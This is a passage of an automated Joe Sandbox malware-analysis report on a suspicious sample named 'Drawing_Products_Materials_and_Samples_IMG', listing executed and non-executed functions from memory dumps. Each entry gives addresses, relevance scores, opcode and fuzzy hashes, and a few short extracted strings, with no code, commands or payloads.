Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13e577353da4e7afdbb9ba89d91814c1519d325cf6e06c3aeef4ac344f59e24a
Instruction ID: dd61508c2bb21cfc18502e7beaa7114e112a1f495df10439da8214030fbe9ee4
Opcode Fuzzy Hash: 13e577353da4e7afdbb9ba89d91814c1519d325cf6e06c3aeef4ac344f59e24a
Instruction Fuzzy Hash: A1F02B32B04614ABCB199B69E4545DFB7F9EFC5361B2040BAE808DB350CE31C802C7D2

Function 373690B8 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b327001d0a824120d0b9d4174b6b0ed4e2506b85d39cf49f8cbbf75dd821dca1
Instruction ID: 5ca9911d667c5d8ee520c513cc0748d54802e8d3a1c845a20e0dcd7c43e83931
Opcode Fuzzy Hash: b327001d0a824120d0b9d4174b6b0ed4e2506b85d39cf49f8cbbf75dd821dca1
Instruction Fuzzy Hash: A4F0C8336052586FCF054FA898405EF7FE7EFCA354B05442BF909D7251CA314D11A7A6

Function 3741ECBF Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 953503f4552a861a5b6d21ce8348a28545d3688d64e25b93155def55f826fa30
Instruction ID: d0a0802486dde3be933eccb15a2141cbb03835ed5ca96fc8bc3319ab9d2063c5
Opcode Fuzzy Hash: 953503f4552a861a5b6d21ce8348a28545d3688d64e25b93155def55f826fa30
Instruction Fuzzy Hash: DAF024343042155FC704AB29C814AA63BEAEFC672171944E9F404CB372DE21DC028790

Function 3741F188 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7236a47dd11cf8759572b76792c1e36135aa29fb83051211deaa32e1474a656c
Instruction ID: 6afdd7b1661eb97ee5f50b2d50165bd760fc9e34b7f31204a6f33e656e98ed5a
Opcode Fuzzy Hash: 7236a47dd11cf8759572b76792c1e36135aa29fb83051211deaa32e1474a656c
Instruction Fuzzy Hash: BC01D271E00319DFDF44EFB9C8006EEBBB5AF48240F10856AD819F7251EB39A9028B90

Function 0009D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114295275.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7702f8385f0036d50e4d020068b2684d3a1ef48502ad1f1975b07a934b7f0918
Instruction ID: 377be9db5de4700f0a9294d083c17c955eaae45bc9727277669fc9ed32b7978c
Opcode Fuzzy Hash: 7702f8385f0036d50e4d020068b2684d3a1ef48502ad1f1975b07a934b7f0918
Instruction Fuzzy Hash: 7FF0C271404340AEEB508A15CD84B62FFD8EB91734F28C05AED5C0B282C27A9C44DAB0

Function 36A940D8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f8fb76004b5ddf081f7006b07a990fe45d47db6371b7fb56a1f0fd0b072503c
Instruction ID: 573211c690ee1cf2ca06241f23f3a34226d0723d4d2a3538db57c583cfbd4471
Opcode Fuzzy Hash: 8f8fb76004b5ddf081f7006b07a990fe45d47db6371b7fb56a1f0fd0b072503c
Instruction Fuzzy Hash: 68F0F0759006089F8B50DFB899409EEBBFAFF4C200B00052AE505E3601EB3058028BF1

Function 36A9457F Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a61f45f33d136cad93a66c7ddafdf0e46fe6b7289386b1ae6f6409bf6a46bce
Instruction ID: b76b96e804b09c56c7685b642c822432baab6f743e19c9acefb217f01aac9baa
Opcode Fuzzy Hash: 8a61f45f33d136cad93a66c7ddafdf0e46fe6b7289386b1ae6f6409bf6a46bce
Instruction Fuzzy Hash: F5F0E2312053099FD7014F65D84498ABFF5FF86325B1440BAF9098B121CB318C56C790

Function 36A94590 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a79b1c627299fea10b2c7c6aea4860744563075d87c635a12711c14658b4fab
Instruction ID: a741e415c66e518f2097184b10b153ecdf09b17082bb64831d4e3b1ea0c8b121
Opcode Fuzzy Hash: 4a79b1c627299fea10b2c7c6aea4860744563075d87c635a12711c14658b4fab
Instruction Fuzzy Hash: 02F03A35300605DFD700DF59D884D5ABBEAFF887257608169FA098B330CB719C52CB90

Function 3741ECD0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d88bf65eb4203bd3fb44906d92a2d11b1170437d9e7b4e8d2bf1315a86a3c4e
Instruction ID: c1a2a69b5952931c37f83d19dbd638360c3729a4becda803f428f03305f06bfb
Opcode Fuzzy Hash: 1d88bf65eb4203bd3fb44906d92a2d11b1170437d9e7b4e8d2bf1315a86a3c4e
Instruction Fuzzy Hash: EDF082383002148FE708AF2AD858D6A77AAEFC57617158469F405CB361DF71EC018790

Function 36A94535 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82b2bbe205ed68dd4c9279bbdeef7301ab60544862b053c16b4abbec26aeb3ae
Instruction ID: f2c02c35318f7f80e37502bb346226317a8c54aff96b501dc9560af1653b57dd
Opcode Fuzzy Hash: 82b2bbe205ed68dd4c9279bbdeef7301ab60544862b053c16b4abbec26aeb3ae
Instruction Fuzzy Hash: 63E04F3670061ACFE7049F98D844999B7E2FF88325B64417AF9058B230CB718C66CB94

Function 00112C31 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 310740205c1cec78f40dd2659b6bb3fa2261173b7bf31df553aa8948659b1ec8
Instruction ID: adb3098fc6c96e5c4540c96bf054b271a53a4b1c4a5540f8d1d44b8c3cbc4238
Opcode Fuzzy Hash: 310740205c1cec78f40dd2659b6bb3fa2261173b7bf31df553aa8948659b1ec8
Instruction Fuzzy Hash: E6E08631E102659BCB10E6A5F8048EFBB35AD92311B55462AD45537140E770165AC650

Function 00112C38 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a1aeb089b5c6d4c099dcf26f5bf5f75c5fa24785c7ebc585de14a45fb3760e6
Instruction ID: 7416067d1d268cca1b368eb068e89fe88fad8f5a786ce195c397039f5b8e0651
Opcode Fuzzy Hash: 3a1aeb089b5c6d4c099dcf26f5bf5f75c5fa24785c7ebc585de14a45fb3760e6
Instruction Fuzzy Hash: 9CD05B31D2022A97CB10E7A5EC048DFFB38EED5321B904626D92437140FB702659C6E1

Function 0011AF68 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d5dde8ded2d4bf323c0dbad90d8323a27b3d78d6150e2f59df629114814ff40
Instruction ID: 31a4d9881e4cd29cbcbc8958714926c4e2bbbc9abaf4dd1c825dd8ded61f291c
Opcode Fuzzy Hash: 2d5dde8ded2d4bf323c0dbad90d8323a27b3d78d6150e2f59df629114814ff40
Instruction Fuzzy Hash: F9D02E7B781A2343831E199DB0101B8AB4BDEC83A239A413AEA4CC3305CF21CC078190

Function 00119290 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 0a9b6f39fa8f99fb8477a6418c02cff63a0da83091ac3558a73211a550e730d5
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 7AC0123720C1282AA228208F7C44AE3BA8CD2C13B5B220237F52C872409842AC8001B5

Function 36A9463E Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02249cd8ac2d5cdad095abd3f9022425dc559a65d4197654dae608225edb7801
Instruction ID: 850cd73dbbf1009809092daf96f837ad2ba1f71f998c840f89f12da50f0e251a
Opcode Fuzzy Hash: 02249cd8ac2d5cdad095abd3f9022425dc559a65d4197654dae608225edb7801
Instruction Fuzzy Hash: AFD09E36B041146B4B152A59A4048AE7F6AEFCA7617058026F91996600CE714912A795

Function 00116289 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4de2a2564592040feac61bcec26b6d3b58f09c0c0260f7573e339cda11a03bb2
Instruction ID: 34bc4ae4e8b8258104d299171803af8a99dae82fe1df8a8214ae0a2057e9f3ad
Opcode Fuzzy Hash: 4de2a2564592040feac61bcec26b6d3b58f09c0c0260f7573e339cda11a03bb2
Instruction Fuzzy Hash: 46D05E37A04108AEDF009E80F814AEE3364EB84721F108022F61495440C7325521AB50

Function 36A94640 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a26a5bc45ab9c0f75367bff9f51d8d1d3cc94d04ddaa36bc229befdea033c6a
Instruction ID: e11092119b2f8bf4db8f6354f8570d864d8c2254f401b3fd10ada471115ae7dc
Opcode Fuzzy Hash: 0a26a5bc45ab9c0f75367bff9f51d8d1d3cc94d04ddaa36bc229befdea033c6a
Instruction Fuzzy Hash: C2D0C736B001146B4B052A49A4048AE7F5EFFC97717048026F90597300CE714D1297D5

Function 0011B33D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c5e70f7080598c0ea89309607213b9b71c24d089d56b29176880d4141aa9da4
Instruction ID: 546113375edbcec6f571922cccd8e2b81a72235fdac4649e8f9742a77f56684a
Opcode Fuzzy Hash: 2c5e70f7080598c0ea89309607213b9b71c24d089d56b29176880d4141aa9da4
Instruction Fuzzy Hash: CAD0673BB500099BDB049F98E8509DDF776FB98221B148116F915A3260C6319921DB94

Function 00116AC8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b9f3ff4682e64d3263b90bf85eaf3533cd18c8cc5043cf1236c437150593a70
Instruction ID: d118591233dc3fbde288b571ceb2e4ddee137d841891d33b79ddb56fa9cf2402
Opcode Fuzzy Hash: 7b9f3ff4682e64d3263b90bf85eaf3533cd18c8cc5043cf1236c437150593a70
Instruction Fuzzy Hash: DAD0A7324353094BEB84E771F646589372677C2310340C821E0081A115BE644597DE58

Function 36A93E8C Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3911d6e79fffd4800a5a056b34a65c75e64b88b87eef7ec1d29c109dbc4433d1
Instruction ID: d2cdd06cee943ef1631855ce39c71fe37a21a39a0bcea864820b75d0cce63425
Opcode Fuzzy Hash: 3911d6e79fffd4800a5a056b34a65c75e64b88b87eef7ec1d29c109dbc4433d1
Instruction Fuzzy Hash: 20D0927A7421208FC715DB69E454899BB75FF9A22632455BEE2018B622C6328846CB14

Function 00116AD0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22114996558.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e7ab520afe737ecd3d4b679680da721c69aafe13b8d18dc4fa02a9920de7e7a
Instruction ID: fa4bcde4ed45c8651bf40b0736feadf5e6389d0d2dc93f9c37649e8aa2403baf
Opcode Fuzzy Hash: 2e7ab520afe737ecd3d4b679680da721c69aafe13b8d18dc4fa02a9920de7e7a
Instruction Fuzzy Hash: 78C0123583570D4FE644E771E946959772A7AC03147808825E00916125BF745597CE9C

Function 3741EC9F Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2ff210a98096977a984a9bc4e87209df0c6dd499a87b1831b68554382b5b172
Instruction ID: 7d7ad5c4d2b15e3cb80701186270411fa5081e99a62356c2eb4b013975350980
Opcode Fuzzy Hash: f2ff210a98096977a984a9bc4e87209df0c6dd499a87b1831b68554382b5b172
Instruction Fuzzy Hash: EEC08C3500A3828FDF13CBA428860893FA0DE0724030620C2C485CB02BC008168BDB23

Non-executed Functions

Function 36A99880 Relevance: 3.5, Strings: 1, Instructions: 2232COMMON

Download Yara Rule

Strings

K, xrefs: 36A9BEFE

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 45a22deb80902f7b115308953fc6266845900aefca2eff84b7a177e2796c974a
Instruction ID: fdc568fe82fc133ebcda15a0e7482bb5caf645607f0d826a20da5b28c32bc77a
Opcode Fuzzy Hash: 45a22deb80902f7b115308953fc6266845900aefca2eff84b7a177e2796c974a
Instruction Fuzzy Hash: BA33D071C147198ADB11EF68C994ADDF7B1FF99300F61C69AD4486B221EB70AAC4CF81

Function 36A90040 Relevance: 1.8, Strings: 1, Instructions: 598COMMON

Download Yara Rule

Strings

|L]4, xrefs: 36A908B7

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: |L]4
API String ID: 0-1468818224
Opcode ID: 1061eff2ed9ca8a590f428b5f65eca17cfcd952cc971bd024b7b1a043d5061ff
Instruction ID: ff37fc7ec94a2d750524a20c0c78950797fdfd7e579aa1db9baceae1c71e9ceb
Opcode Fuzzy Hash: 1061eff2ed9ca8a590f428b5f65eca17cfcd952cc971bd024b7b1a043d5061ff
Instruction Fuzzy Hash: 8F528E74E01228CFEB64DF65C984BDDBBB2BB89301F1081EAD409AB255DB359E81DF50

Function 36A987A0 Relevance: 1.6, Strings: 1, Instructions: 369COMMON

Download Yara Rule

Strings

", xrefs: 36A98CC1

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 68234c0135f45c244b87779be6a5bdbf9acec7f5cbc45d2b58b6f503e433a872
Instruction ID: 0a044cf9bec0a9e1c47fd3a72d385d76e6b8f35005772acde2c99fdc46fda72f
Opcode Fuzzy Hash: 68234c0135f45c244b87779be6a5bdbf9acec7f5cbc45d2b58b6f503e433a872
Instruction Fuzzy Hash: 17F105B4E0125C8FEB14DFAAC9847DDBBF2BF84314F248569D808AB285D7789985CF50

Function 36A99871 Relevance: 1.5, Strings: 1, Instructions: 239COMMON

Download Yara Rule

Strings

K, xrefs: 36A9BEFE

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: c2421dca144f426bb1f2996410ea4b4252c8b8baf5782aab205a48d3e89809bf
Instruction ID: c4b71da0fb22cbfd55e203505c59d72b411f9114b61cbd96c6a962d0b881bcf9
Opcode Fuzzy Hash: c2421dca144f426bb1f2996410ea4b4252c8b8baf5782aab205a48d3e89809bf
Instruction Fuzzy Hash: 3BB11674D056198BEB14DFA9C8847DDFBF1EF89300F20C29AD4086B261EB74AA85CF40

Function 36A90676 Relevance: 1.4, Strings: 1, Instructions: 193COMMON

Download Yara Rule

Strings

|L]4, xrefs: 36A908B7

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: |L]4
API String ID: 0-1468818224
Opcode ID: 05b47963cf759788e451325b31218501270cc5ce132b11f123da3d180459c5a2
Instruction ID: 441ad926061546e2119773e5fed70f29563ace5b0ff8a58dd7d63e238e1764a5
Opcode Fuzzy Hash: 05b47963cf759788e451325b31218501270cc5ce132b11f123da3d180459c5a2
Instruction Fuzzy Hash: 40A19E74E01228CFEB65DF64C854BD9BBB2BF4A301F5085E9D809A7250DB319E81DF51

Function 36A90856 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

|L]4, xrefs: 36A908B7

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: |L]4
API String ID: 0-1468818224
Opcode ID: 90be2f1d1d6c111b36cb5605971654c792d0d60713760fe28d9ef4ceb3c0b81f
Instruction ID: 977a2fde0c7242bb19a0b1253bb1f3e57fde1bb9e7c96b433f2236a533d9f7ea
Opcode Fuzzy Hash: 90be2f1d1d6c111b36cb5605971654c792d0d60713760fe28d9ef4ceb3c0b81f
Instruction Fuzzy Hash: A6516D74A01228CFDB69DF64C854B9ABBB2FF4A301F5085E9D80AA7350DB359E81CF54

Function 373672C9 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

;]4U, xrefs: 373672D4

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: ;]4U
API String ID: 0-3256962003
Opcode ID: 66f2b718cd39df054b3147d1879f081e253b7d24638eff3bed34bd8db2f79ad3
Instruction ID: dd19f1cc241ed989ed8da7f35423c98c7c334ff0f47697ea0a601f817e4275dc
Opcode Fuzzy Hash: 66f2b718cd39df054b3147d1879f081e253b7d24638eff3bed34bd8db2f79ad3
Instruction Fuzzy Hash: 0541E7B4D01248CBEB18DFAAC9947DDBBF2AF89304F60C12AC418BB259DB355946CF50

Function 37413550 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

,, xrefs: 37413558

Memory Dump Source

Source File: 00000002.00000002.22151214905.0000000037410000.00000040.00000800.00020000.00000000.sdmp, Offset: 37410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37410000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 62bf52b9a1f97b882d6b1c2d76e263d7e70a0fd7388adf488c658032db093738
Instruction ID: 2ed13f212ac728b68fc27af18df6bf526b5c52dd2273ea8d14fc4ed0f4d2ed86
Opcode Fuzzy Hash: 62bf52b9a1f97b882d6b1c2d76e263d7e70a0fd7388adf488c658032db093738
Instruction Fuzzy Hash: 76410774D01248CBEB14DFAAD8546EEBBF2BF89300F24D42AC418BB254EB346902CF55

Function 373638B8 Relevance: .7, Instructions: 695COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eeb48623b72f4451527b23140df4f82265a99dbdb117b53a55959d2e12ef41dc
Instruction ID: 763c94f0cc6687e80608a04b36a7ab7b3c7b4353cdbd785a22f911537ea23304
Opcode Fuzzy Hash: eeb48623b72f4451527b23140df4f82265a99dbdb117b53a55959d2e12ef41dc
Instruction Fuzzy Hash: 26826D74E052288FEB64DF69C994BDDBBB2BB89300F1081E9E40DA7265DB315E81DF50

Function 3736B6B0 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150817508.0000000037360000.00000040.00000800.00020000.00000000.sdmp, Offset: 37360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_37360000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cafd784758ac7bff152609a30958159698f5817fe601c6bdd4930df4a98f551
Instruction ID: b6d3a1cb063ddc181a8d7b50219bccb12b0c83e5293293d69e0798abb02bd43f
Opcode Fuzzy Hash: 5cafd784758ac7bff152609a30958159698f5817fe601c6bdd4930df4a98f551
Instruction Fuzzy Hash: F8D19174E003188FEB54DFA9C994B9DBBB2BF89300F2081A9D409BB354DB355A82DF55

Function 36A9E2C0 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb40d6beda6a6dd9edd2feb6fe49fbf141d5c587b8a081d73ec95ea1b8d4b5c3
Instruction ID: be83097ddc8bd49dbd9ec24e80785f074b09e42f700d9db2518488ccb540fce4
Opcode Fuzzy Hash: fb40d6beda6a6dd9edd2feb6fe49fbf141d5c587b8a081d73ec95ea1b8d4b5c3
Instruction Fuzzy Hash: C4C1AE74E00318CFEB54DFA5C984B9DBBF2BF89304F2081A9D809AB255DB359A81CF54

Function 36A9DA10 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7113ee5163f5df643e15edab9ce31c58c04b254e419c362d100203f609b6ffc
Instruction ID: e1c50b41404e19c62ef638c0f27cabd4621ac060bbde7bbe9dcc76a76a930e64
Opcode Fuzzy Hash: d7113ee5163f5df643e15edab9ce31c58c04b254e419c362d100203f609b6ffc
Instruction Fuzzy Hash: 5DC1AF74E00318CFEB54DFA5C980B9DBBF2BF89304F2081A9D809AB255DB359A81DF54

Function 36A9DE68 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a518f7ebe54e96ecc2ad6162f768f4e0d852fa63d207ba6f191269caedfe420e
Instruction ID: 27f3ed30e3b4ed608ee40075b12737a53e4d94579ede7bc8bba1f305bfbdc989
Opcode Fuzzy Hash: a518f7ebe54e96ecc2ad6162f768f4e0d852fa63d207ba6f191269caedfe420e
Instruction Fuzzy Hash: DDC1AE74E00318CFEB54DFA5C980B9DBBF2BF89304F2081A9D809AB255DB359A81DF54

Function 36A9EFC8 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.22150235357.0000000036A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a90000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0671890467b8388cfcc081a2bf43bf8288bd13d7c6aded5dc7618d7bf563156
